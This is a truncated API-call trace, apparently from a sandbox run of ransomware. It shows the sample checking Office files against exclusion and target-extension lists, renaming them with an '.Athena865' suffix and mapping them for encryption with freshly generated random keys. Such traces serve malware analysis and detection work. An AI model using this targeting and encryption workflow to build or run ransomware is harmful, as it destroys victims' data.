[0150.527] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0150.527] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0150.527] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0150.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0150.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0150.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0150.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0150.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0150.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0150.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0150.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0150.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0150.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0150.528] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0150.546] CloseHandle (hObject=0x17c) returned 1 [0150.546] CloseHandle (hObject=0x154) returned 1 [0150.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0150.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0150.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0150.554] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2df3800, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5ea37bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2df3800, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0x204000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACWZLIB.ACCDE", cAlternateFileName="ACWZLI~1.ACC")) returned 1 [0150.554] lstrcmpiW (lpString1="ACWZLIB.ACCDE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0150.554] lstrcmpiW (lpString1="ACWZLIB.ACCDE", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0150.554] lstrcmpiW (lpString1="ACWZLIB.ACCDE", lpString2=".") returned 1 [0150.554] lstrcmpiW (lpString1="ACWZLIB.ACCDE", lpString2="..") returned 1 [0150.554] lstrcmpiW (lpString1="ACWZLIB.ACCDE", lpString2="windows") returned -1 [0150.554] lstrcmpiW (lpString1="ACWZLIB.ACCDE", lpString2="bootmgr") returned -1 [0150.555] lstrcmpiW (lpString1="ACWZLIB.ACCDE", lpString2="temp") returned -1 [0150.555] lstrcmpiW (lpString1="ACWZLIB.ACCDE", lpString2="pagefile.sys") returned -1 [0150.555] lstrcmpiW (lpString1="ACWZLIB.ACCDE", lpString2="boot") returned -1 [0150.555] lstrcmpiW (lpString1="ACWZLIB.ACCDE", lpString2="ids.txt") returned -1 [0150.555] lstrcmpiW (lpString1="ACWZLIB.ACCDE", lpString2="ntuser.dat") returned -1 [0150.555] lstrcmpiW (lpString1="ACWZLIB.ACCDE", lpString2="perflogs") returned -1 [0150.555] lstrcmpiW (lpString1="ACWZLIB.ACCDE", lpString2="MSBuild") returned -1 [0150.555] lstrlenW (lpString="ACWZLIB.ACCDE") returned 13 [0150.555] lstrcpyW (in: lpString1=0x241e8ac, lpString2="ACWZLIB.ACCDE" | out: lpString1="ACWZLIB.ACCDE") returned="ACWZLIB.ACCDE" [0150.555] lstrlenW (lpString="ACWZLIB.ACCDE") returned 13 [0150.555] lstrlenW (lpString="Athena865") returned 9 [0150.555] lstrcmpiW (lpString1="LIB.ACCDE", lpString2="Athena865") returned 1 [0150.555] lstrlenW (lpString=".dll") returned 4 [0150.555] lstrcmpiW (lpString1="ACWZLIB.ACCDE", lpString2=".dll") returned 1 [0150.555] lstrlenW (lpString=".lnk") returned 4 [0150.555] lstrcmpiW (lpString1="ACWZLIB.ACCDE", lpString2=".lnk") returned 1 [0150.555] lstrlenW (lpString=".ini") returned 4 [0150.555] lstrcmpiW (lpString1="ACWZLIB.ACCDE", lpString2=".ini") returned 1 [0150.555] lstrlenW (lpString=".sys") returned 4 [0150.555] lstrcmpiW (lpString1="ACWZLIB.ACCDE", lpString2=".sys") returned 1 [0150.555] lstrlenW (lpString="ACWZLIB.ACCDE") returned 13 [0150.555] lstrlenW (lpString="bak") returned 3 [0150.555] lstrcmpiW (lpString1="CDE", lpString2="bak") returned 1 [0150.555] lstrlenW (lpString="ba_") returned 3 [0150.555] lstrcmpiW (lpString1="CDE", lpString2="ba_") returned 1 [0150.555] lstrlenW (lpString="dbb") returned 3 [0150.555] lstrcmpiW (lpString1="CDE", lpString2="dbb") returned -1 [0150.555] lstrlenW (lpString="vmdk") returned 4 [0150.556] lstrcmpiW (lpString1="CCDE", lpString2="vmdk") returned -1 [0150.556] lstrlenW (lpString="rar") returned 3 [0150.556] lstrcmpiW (lpString1="CDE", lpString2="rar") returned -1 [0150.556] lstrlenW (lpString="zip") returned 3 [0150.556] lstrcmpiW (lpString1="CDE", lpString2="zip") returned -1 [0150.556] lstrlenW (lpString="tgz") returned 3 [0150.556] lstrcmpiW (lpString1="CDE", lpString2="tgz") returned -1 [0150.556] lstrlenW (lpString="vbox") returned 4 [0150.556] lstrcmpiW (lpString1="CCDE", lpString2="vbox") returned -1 [0150.556] lstrlenW (lpString="vdi") returned 3 [0150.556] lstrcmpiW (lpString1="CDE", lpString2="vdi") returned -1 [0150.556] lstrlenW (lpString="vhd") returned 3 [0150.556] lstrcmpiW (lpString1="CDE", lpString2="vhd") returned -1 [0150.556] lstrlenW (lpString="vhdx") returned 4 [0150.556] lstrcmpiW (lpString1="CCDE", lpString2="vhdx") returned -1 [0150.556] lstrlenW (lpString="avhd") returned 4 [0150.556] lstrcmpiW (lpString1="CCDE", lpString2="avhd") returned 1 [0150.556] lstrlenW (lpString="db") returned 2 [0150.556] lstrcmpiW (lpString1="DE", lpString2="db") returned 1 [0150.556] lstrlenW (lpString="db2") returned 3 [0150.556] lstrcmpiW (lpString1="CDE", lpString2="db2") returned -1 [0150.556] lstrlenW (lpString="db3") returned 3 [0150.556] lstrcmpiW (lpString1="CDE", lpString2="db3") returned -1 [0150.556] lstrlenW (lpString="dbf") returned 3 [0150.556] lstrcmpiW (lpString1="CDE", lpString2="dbf") returned -1 [0150.556] lstrlenW (lpString="mdf") returned 3 [0150.556] lstrcmpiW (lpString1="CDE", lpString2="mdf") returned -1 [0150.556] lstrlenW (lpString="mdb") returned 3 [0150.557] lstrcmpiW (lpString1="CDE", lpString2="mdb") returned -1 [0150.557] lstrlenW (lpString="sql") returned 3 [0150.557] lstrcmpiW (lpString1="CDE", lpString2="sql") returned -1 [0150.557] lstrlenW (lpString="sqlite") returned 6 [0150.557] lstrcmpiW (lpString1=".ACCDE", lpString2="sqlite") returned -1 [0150.557] lstrlenW (lpString="sqlite3") returned 7 [0150.557] lstrcmpiW (lpString1="B.ACCDE", lpString2="sqlite3") returned -1 [0150.557] lstrlenW (lpString="sqlitedb") returned 8 [0150.557] lstrcmpiW (lpString1="IB.ACCDE", lpString2="sqlitedb") returned -1 [0150.557] lstrlenW (lpString="xml") returned 3 [0150.557] lstrcmpiW (lpString1="CDE", lpString2="xml") returned -1 [0150.557] lstrlenW (lpString="$er") returned 3 [0150.557] lstrcmpiW (lpString1="CDE", lpString2="$er") returned 1 [0150.557] lstrlenW (lpString="4dd") returned 3 [0150.557] lstrcmpiW (lpString1="CDE", lpString2="4dd") returned 1 [0150.557] lstrlenW (lpString="4dl") returned 3 [0150.557] lstrcmpiW (lpString1="CDE", lpString2="4dl") returned 1 [0150.557] lstrlenW (lpString="^^^") returned 3 [0150.557] lstrcmpiW (lpString1="CDE", lpString2="^^^") returned 1 [0150.557] lstrlenW (lpString="abs") returned 3 [0150.557] lstrcmpiW (lpString1="CDE", lpString2="abs") returned 1 [0150.557] lstrlenW (lpString="abx") returned 3 [0150.557] lstrcmpiW (lpString1="CDE", lpString2="abx") returned 1 [0150.557] lstrlenW (lpString="accdb") returned 5 [0150.557] lstrcmpiW (lpString1="ACCDE", lpString2="accdb") returned 1 [0150.557] lstrlenW (lpString="accdc") returned 5 [0150.557] lstrcmpiW (lpString1="ACCDE", lpString2="accdc") returned 1 [0150.558] lstrlenW (lpString="accde") returned 5 [0150.558] lstrcmpiW (lpString1="ACCDE", lpString2="accde") returned 0 [0150.558] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE.Athena865") returned 73 [0150.558] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzlib.accde"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzlib.accde.athena865"), dwFlags=0x1) returned 1 [0150.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzlib.accde.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0150.562] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2113536) returned 1 [0150.562] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0150.562] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0150.562] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0150.562] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0150.563] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0150.563] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0150.563] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x204300, lpName=0x0) returned 0x17c [0150.565] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x4300) returned 0x100000 [0150.672] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0150.672] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0150.672] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0150.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0150.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0150.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0150.673] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0150.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0150.673] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0150.673] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0150.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0150.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0150.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0150.673] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0150.673] CloseHandle (hObject=0x17c) returned 1 [0150.673] CloseHandle (hObject=0x154) returned 1 [0150.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0150.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0150.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0150.682] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2df3800, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x511e6c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2df3800, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0x8f8000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACWZMAIN.ACCDE", cAlternateFileName="ACWZMA~1.ACC")) returned 1 [0150.682] lstrcmpiW (lpString1="ACWZMAIN.ACCDE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0150.682] lstrcmpiW (lpString1="ACWZMAIN.ACCDE", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0150.682] lstrcmpiW (lpString1="ACWZMAIN.ACCDE", lpString2=".") returned 1 [0150.682] lstrcmpiW (lpString1="ACWZMAIN.ACCDE", lpString2="..") returned 1 [0150.682] lstrcmpiW (lpString1="ACWZMAIN.ACCDE", lpString2="windows") returned -1 [0150.682] lstrcmpiW (lpString1="ACWZMAIN.ACCDE", lpString2="bootmgr") returned -1 [0150.682] lstrcmpiW (lpString1="ACWZMAIN.ACCDE", lpString2="temp") returned -1 [0150.682] lstrcmpiW (lpString1="ACWZMAIN.ACCDE", lpString2="pagefile.sys") returned -1 [0150.682] lstrcmpiW (lpString1="ACWZMAIN.ACCDE", lpString2="boot") returned -1 [0150.682] lstrcmpiW (lpString1="ACWZMAIN.ACCDE", lpString2="ids.txt") returned -1 [0150.682] lstrcmpiW (lpString1="ACWZMAIN.ACCDE", lpString2="ntuser.dat") returned -1 [0150.683] lstrcmpiW (lpString1="ACWZMAIN.ACCDE", lpString2="perflogs") returned -1 [0150.683] lstrcmpiW (lpString1="ACWZMAIN.ACCDE", lpString2="MSBuild") returned -1 [0150.683] lstrlenW (lpString="ACWZMAIN.ACCDE") returned 14 [0150.683] lstrcpyW (in: lpString1=0x241e8ac, lpString2="ACWZMAIN.ACCDE" | out: lpString1="ACWZMAIN.ACCDE") returned="ACWZMAIN.ACCDE" [0150.683] lstrlenW (lpString="ACWZMAIN.ACCDE") returned 14 [0150.683] lstrlenW (lpString="Athena865") returned 9 [0150.683] lstrcmpiW (lpString1="AIN.ACCDE", lpString2="Athena865") returned -1 [0150.683] lstrlenW (lpString=".dll") returned 4 [0150.683] lstrcmpiW (lpString1="ACWZMAIN.ACCDE", lpString2=".dll") returned 1 [0150.683] lstrlenW (lpString=".lnk") returned 4 [0150.683] lstrcmpiW (lpString1="ACWZMAIN.ACCDE", lpString2=".lnk") returned 1 [0150.683] lstrlenW (lpString=".ini") returned 4 [0150.683] lstrcmpiW (lpString1="ACWZMAIN.ACCDE", lpString2=".ini") returned 1 [0150.683] lstrlenW (lpString=".sys") returned 4 [0150.683] lstrcmpiW (lpString1="ACWZMAIN.ACCDE", lpString2=".sys") returned 1 [0150.683] lstrlenW (lpString="ACWZMAIN.ACCDE") returned 14 [0150.683] lstrlenW (lpString="bak") returned 3 [0150.683] lstrcmpiW (lpString1="CDE", lpString2="bak") returned 1 [0150.683] lstrlenW (lpString="ba_") returned 3 [0150.683] lstrcmpiW (lpString1="CDE", lpString2="ba_") returned 1 [0150.683] lstrlenW (lpString="dbb") returned 3 [0150.683] lstrcmpiW (lpString1="CDE", lpString2="dbb") returned -1 [0150.683] lstrlenW (lpString="vmdk") returned 4 [0150.683] lstrcmpiW (lpString1="CCDE", lpString2="vmdk") returned -1 [0150.683] lstrlenW (lpString="rar") returned 3 [0150.683] lstrcmpiW (lpString1="CDE", lpString2="rar") returned -1 [0150.683] lstrlenW (lpString="zip") returned 3 [0150.683] lstrcmpiW (lpString1="CDE", lpString2="zip") returned -1 [0150.684] lstrlenW (lpString="tgz") returned 3 [0150.684] lstrcmpiW (lpString1="CDE", lpString2="tgz") returned -1 [0150.684] lstrlenW (lpString="vbox") returned 4 [0150.684] lstrcmpiW (lpString1="CCDE", lpString2="vbox") returned -1 [0150.684] lstrlenW (lpString="vdi") returned 3 [0150.684] lstrcmpiW (lpString1="CDE", lpString2="vdi") returned -1 [0150.684] lstrlenW (lpString="vhd") returned 3 [0150.684] lstrcmpiW (lpString1="CDE", lpString2="vhd") returned -1 [0150.684] lstrlenW (lpString="vhdx") returned 4 [0150.684] lstrcmpiW (lpString1="CCDE", lpString2="vhdx") returned -1 [0150.684] lstrlenW (lpString="avhd") returned 4 [0150.684] lstrcmpiW (lpString1="CCDE", lpString2="avhd") returned 1 [0150.684] lstrlenW (lpString="db") returned 2 [0150.684] lstrcmpiW (lpString1="DE", lpString2="db") returned 1 [0150.684] lstrlenW (lpString="db2") returned 3 [0150.684] lstrcmpiW (lpString1="CDE", lpString2="db2") returned -1 [0150.684] lstrlenW (lpString="db3") returned 3 [0150.684] lstrcmpiW (lpString1="CDE", lpString2="db3") returned -1 [0150.684] lstrlenW (lpString="dbf") returned 3 [0150.684] lstrcmpiW (lpString1="CDE", lpString2="dbf") returned -1 [0150.684] lstrlenW (lpString="mdf") returned 3 [0150.684] lstrcmpiW (lpString1="CDE", lpString2="mdf") returned -1 [0150.684] lstrlenW (lpString="mdb") returned 3 [0150.684] lstrcmpiW (lpString1="CDE", lpString2="mdb") returned -1 [0150.684] lstrlenW (lpString="sql") returned 3 [0150.684] lstrcmpiW (lpString1="CDE", lpString2="sql") returned -1 [0150.684] lstrlenW (lpString="sqlite") returned 6 [0150.684] lstrcmpiW (lpString1=".ACCDE", lpString2="sqlite") returned -1 [0150.685] lstrlenW (lpString="sqlite3") returned 7 [0150.685] lstrcmpiW (lpString1="N.ACCDE", lpString2="sqlite3") returned -1 [0150.685] lstrlenW (lpString="sqlitedb") returned 8 [0150.685] lstrcmpiW (lpString1="IN.ACCDE", lpString2="sqlitedb") returned -1 [0150.685] lstrlenW (lpString="xml") returned 3 [0150.685] lstrcmpiW (lpString1="CDE", lpString2="xml") returned -1 [0150.685] lstrlenW (lpString="$er") returned 3 [0150.685] lstrcmpiW (lpString1="CDE", lpString2="$er") returned 1 [0150.685] lstrlenW (lpString="4dd") returned 3 [0150.685] lstrcmpiW (lpString1="CDE", lpString2="4dd") returned 1 [0150.685] lstrlenW (lpString="4dl") returned 3 [0150.685] lstrcmpiW (lpString1="CDE", lpString2="4dl") returned 1 [0150.685] lstrlenW (lpString="^^^") returned 3 [0150.685] lstrcmpiW (lpString1="CDE", lpString2="^^^") returned 1 [0150.685] lstrlenW (lpString="abs") returned 3 [0150.685] lstrcmpiW (lpString1="CDE", lpString2="abs") returned 1 [0150.685] lstrlenW (lpString="abx") returned 3 [0150.685] lstrcmpiW (lpString1="CDE", lpString2="abx") returned 1 [0150.685] lstrlenW (lpString="accdb") returned 5 [0150.685] lstrcmpiW (lpString1="ACCDE", lpString2="accdb") returned 1 [0150.685] lstrlenW (lpString="accdc") returned 5 [0150.685] lstrcmpiW (lpString1="ACCDE", lpString2="accdc") returned 1 [0150.685] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE.Athena865") returned 74 [0150.685] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzmain.accde"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzmain.accde.athena865"), dwFlags=0x1) returned 1 [0150.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzmain.accde.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0150.688] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9404416) returned 1 [0150.688] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0150.689] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0150.689] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0150.689] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0150.689] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0150.689] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0150.690] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8f8300, lpName=0x0) returned 0x17c [0150.699] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x800000, dwNumberOfBytesToMap=0xf8300) returned 0x2bb0000 [0150.842] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0150.843] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0150.843] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0150.843] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0150.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0150.843] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0150.843] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0150.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0150.844] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0150.844] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0150.844] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0150.844] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0150.844] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0150.844] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0150.852] CloseHandle (hObject=0x17c) returned 1 [0150.853] CloseHandle (hObject=0x154) returned 1 [0150.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0150.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0150.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0150.861] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4106500, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5eaa9fd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4106500, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0xb39000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACWZTOOL.ACCDE", cAlternateFileName="ACWZTO~1.ACC")) returned 1 [0150.861] lstrcmpiW (lpString1="ACWZTOOL.ACCDE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0150.861] lstrcmpiW (lpString1="ACWZTOOL.ACCDE", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0150.861] lstrcmpiW (lpString1="ACWZTOOL.ACCDE", lpString2=".") returned 1 [0150.861] lstrcmpiW (lpString1="ACWZTOOL.ACCDE", lpString2="..") returned 1 [0150.862] lstrcmpiW (lpString1="ACWZTOOL.ACCDE", lpString2="windows") returned -1 [0150.862] lstrcmpiW (lpString1="ACWZTOOL.ACCDE", lpString2="bootmgr") returned -1 [0150.862] lstrcmpiW (lpString1="ACWZTOOL.ACCDE", lpString2="temp") returned -1 [0150.862] lstrcmpiW (lpString1="ACWZTOOL.ACCDE", lpString2="pagefile.sys") returned -1 [0150.862] lstrcmpiW (lpString1="ACWZTOOL.ACCDE", lpString2="boot") returned -1 [0150.862] lstrcmpiW (lpString1="ACWZTOOL.ACCDE", lpString2="ids.txt") returned -1 [0150.862] lstrcmpiW (lpString1="ACWZTOOL.ACCDE", lpString2="ntuser.dat") returned -1 [0150.862] lstrcmpiW (lpString1="ACWZTOOL.ACCDE", lpString2="perflogs") returned -1 [0150.862] lstrcmpiW (lpString1="ACWZTOOL.ACCDE", lpString2="MSBuild") returned -1 [0150.862] lstrlenW (lpString="ACWZTOOL.ACCDE") returned 14 [0150.862] lstrcpyW (in: lpString1=0x241e8ac, lpString2="ACWZTOOL.ACCDE" | out: lpString1="ACWZTOOL.ACCDE") returned="ACWZTOOL.ACCDE" [0150.862] lstrlenW (lpString="ACWZTOOL.ACCDE") returned 14 [0150.862] lstrlenW (lpString="Athena865") returned 9 [0150.862] lstrcmpiW (lpString1="OOL.ACCDE", lpString2="Athena865") returned 1 [0150.862] lstrlenW (lpString=".dll") returned 4 [0150.862] lstrcmpiW (lpString1="ACWZTOOL.ACCDE", lpString2=".dll") returned 1 [0150.862] lstrlenW (lpString=".lnk") returned 4 [0150.862] lstrcmpiW (lpString1="ACWZTOOL.ACCDE", lpString2=".lnk") returned 1 [0150.862] lstrlenW (lpString=".ini") returned 4 [0150.862] lstrcmpiW (lpString1="ACWZTOOL.ACCDE", lpString2=".ini") returned 1 [0150.862] lstrlenW (lpString=".sys") returned 4 [0150.862] lstrcmpiW (lpString1="ACWZTOOL.ACCDE", lpString2=".sys") returned 1 [0150.862] lstrlenW (lpString="ACWZTOOL.ACCDE") returned 14 [0150.862] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE.Athena865") returned 74 [0150.863] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwztool.accde"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwztool.accde.athena865"), dwFlags=0x1) returned 1 [0150.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwztool.accde.athena865"), 